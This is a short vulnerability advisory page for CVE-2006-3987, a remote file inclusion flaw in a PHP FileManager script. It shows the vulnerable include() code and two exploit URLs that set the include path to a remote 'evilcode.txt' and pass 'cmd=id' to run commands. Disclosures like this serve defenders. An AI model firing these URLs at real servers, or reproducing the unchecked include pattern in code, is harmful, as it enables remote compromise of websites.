FileManager Remote Command Execution

2006.08.08

Credit: botan linuxmail org

Risk: High

Local: No

Remote: Yes

CVE: CVE-2006-3987

CWE: CWE-Other

CVSS Base Score: 5.1/10

Impact Subscore: 6.4/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

>>> Kurdish Security

>>> FileManager Remote Command Execution

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : FileManager

>>> Site : http://www.knusperleicht.at

Code :

$dwl_download_path = "downloads";

$dwl_include_path = "dwl/";

include($dwl_include_path."index.php");

?>

http://site.com/[path]/dwl_download_path=evilcode.txt?&cmd=id

http://site.com/[path]/dwl_include_path=evilcode.txt?&cmd=id

See this note in RAW Version

Vote for this issue:

50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

FileManager Remote Command Execution

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

FileManager Remote Command Execution

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.